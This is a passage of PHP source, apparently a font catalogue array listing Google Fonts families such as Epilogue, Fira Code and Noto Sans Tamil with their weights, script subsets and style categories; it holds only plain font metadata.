array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Nanum Pen Script' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'handwriting' ), 'VT323' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Zen Kaku Gothic New' => array( 'variants' => array('300', '400', '500', '700', '900'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Epilogue' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Kumbh Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'math'), 'category' => 'sans-serif' ), 'Laila' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Fira Mono' => array( 'variants' => array('400', '500', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'monospace' ), 'Lusitana' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Sarala' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'BenchNine' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Inter Tight' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Damion' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Italianno' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Cousine' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'hebrew', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Material Symbols Rounded' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Economica' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Share Tech Mono' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'monospace' ), 'Julius Sans One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Pangolin' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Athiti' => array( 'variants' => array('200', '300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Pridi' => array( 'variants' => array('200', '300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'serif' ), 'Krub' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Varela' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Courier Prime' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Electrolize' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Rufina' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Calistoga' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Days One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Londrina Solid' => array( 'variants' => array('100', '300', '400', '900'), 'subsets' => array('latin'), 'category' => 'display' ), 'Quantico' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Alef' => array( 'variants' => array('400', '700'), 'subsets' => array('hebrew', 'latin'), 'category' => 'sans-serif' ), 'Six Caps' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Comic Neue' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Sansita' => array( 'variants' => array('400', 'italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Sorts Mill Goudy' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Nothing You Could Do' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Anonymous Pro' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'greek', 'latin', 'latin-ext'), 'category' => 'monospace' ), 'Oleo Script' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Forum' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'display' ), 'Martel Sans' => array( 'variants' => array('200', '300', '400', '600', '700', '800', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Source Serif 4' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Creepster' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Actor' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Squada One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Leckerli One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Albert Sans' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Armata' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Stint Ultra Condensed' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Fraunces' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Padauk' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'myanmar'), 'category' => 'sans-serif' ), 'Black Ops One' => array( 'variants' => array('400'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Palanquin' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Tamil' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'sans-serif' ), 'Black Han Sans' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'Sintony' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Karma' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Zen Maru Gothic' => array( 'variants' => array('300', '400', '500', '700', '900'), 'subsets' => array('cyrillic', 'greek', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Glegoo' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Jaldi' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Koulen' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Pontano Sans' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'PT Serif Caption' => array( 'variants' => array('400', 'italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Pinyon Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Aclonica' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Shippori Mincho' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Chewy' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Fugaz One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Noto Sans Malayalam' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'malayalam'), 'category' => 'sans-serif' ), 'DM Mono' => array( 'variants' => array('300', '300italic', '400', 'italic', '500', '500italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Holtwood One SC' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Lemonada' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Antic' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Gilda Display' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Markazi Text' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Arapey' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Hind Guntur' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'telugu'), 'category' => 'sans-serif' ), 'Cabin Sketch' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'display' ), 'Noto Sans Devanagari' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Covered By Your Grace' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Noto Sans Mono' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Basic' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Syne' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('greek', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Cantata One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Cutive Mono' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'monospace' ), 'Big Shoulders Display' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Kreon' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Saira Extra Condensed' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Berkshire Swash' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Gochi Hand' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Charm' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'handwriting' ), 'Reenie Beanie' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Amita' => array( 'variants' => array('400', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Oxanium' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Petrona' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Just Another Hand' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Average Sans' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'JetBrains Mono' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Oranienbaum' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Coda' => array( 'variants' => array('400', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Alatsi' => array( 'variants' => array('400'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Palanquin Dark' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Michroma' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Belleza' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Syncopate' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Julee' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Noto Serif Display' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Caveat Brush' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Wallpoet' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Aldrich' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Allerta Stencil' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Darker Grotesque' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Reem Kufi' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Cinzel Decorative' => array( 'variants' => array('400', '700', '900'), 'subsets' => array('latin'), 'category' => 'display' ), 'Rammetto One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Fredericka the Great' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Shadows Into Light Two' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Racing Sans One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Playfair' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Jua' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'BioRhyme' => array( 'variants' => array('200', '300', '400', '700', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'GFS Didot' => array( 'variants' => array('400'), 'subsets' => array('greek'), 'category' => 'serif' ), 'Capriola' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Candal' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Balsamiq Sans' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'display' ), 'Arbutus Slab' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Boogaloo' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Changa One' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin'), 'category' => 'display' ), 'Carrois Gothic' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Bevan' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'K2D' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'Fira Code' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext'), 'category' => 'monospace' ), 'Corben' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Yrsa' => array( 'variants' => array('300', '400', '500', '600', '700', '300italic', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Knewave' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Arizonia' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Short Stack' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Telex' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Herr Von Muellerhoff' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Allerta' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'sans-serif' ), 'Scada' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Rambla' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Libre Barcode 39' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Do Hyeon' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'sans-serif' ), 'Rozha One' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Marcellus SC' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Biryani' => array( 'variants' => array('200', '300', '400', '600', '700', '800', '900'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Hebrew' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Nanum Brush Script' => array( 'variants' => array('400'), 'subsets' => array('korean', 'latin'), 'category' => 'handwriting' ), 'Enriqueta' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Rancho' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Annie Use Your Telescope' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Atkinson Hyperlegible' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Kristi' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Overpass Mono' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'monospace' ), 'Quintessential' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Mali' => array( 'variants' => array('200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'handwriting' ), 'Sofia' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Krona One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Overlock' => array( 'variants' => array('400', 'italic', '700', '700italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Lateef' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'M PLUS 1' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('japanese', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Mrs Saint Delafield' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Alike' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Yesteryear' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Averia Serif Libre' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'display' ), 'Lustria' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Kiwi Maru' => array( 'variants' => array('300', '400', '500'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Niconne' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Pattaya' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'sans-serif' ), 'IBM Plex Sans Thai' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'thai'), 'category' => 'sans-serif' ), 'Fjord One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Bungee Inline' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Qwigley' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'STIX Two Text' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Rye' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Trirong' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'serif' ), 'Rubik Moonrocks' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Newsreader' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'La Belle Aurore' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Podkova' => array( 'variants' => array('400', '500', '600', '700', '800'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Livvic' => array( 'variants' => array('100', '100italic', '200', '200italic', '300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic', '900', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Mallanna' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Amethysta' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Noto Nastaliq Urdu' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Coustard' => array( 'variants' => array('400', '900'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Alexandria' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('arabic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Cormorant Infant' => array( 'variants' => array('300', '300italic', '400', 'italic', '500', '500italic', '600', '600italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Seaweed Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Chonburi' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'display' ), 'Maitree' => array( 'variants' => array('200', '300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'thai', 'vietnamese'), 'category' => 'serif' ), 'Smokum' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Bellefair' => array( 'variants' => array('400'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Headland One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Contrail One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Schoolbell' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Averia Libre' => array( 'variants' => array('300', '300italic', '400', 'italic', '700', '700italic'), 'subsets' => array('latin'), 'category' => 'display' ), 'Coming Soon' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Irish Grover' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Kosugi' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Grandstander' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Aladin' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Judson' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Bubblegum Sans' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Alike Angular' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Graduate' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Norican' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Suez One' => array( 'variants' => array('400'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Henny Penny' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Grand Hotel' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Manjari' => array( 'variants' => array('100', '400', '700'), 'subsets' => array('latin', 'latin-ext', 'malayalam'), 'category' => 'sans-serif' ), 'Magra' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'NTR' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Caudex' => array( 'variants' => 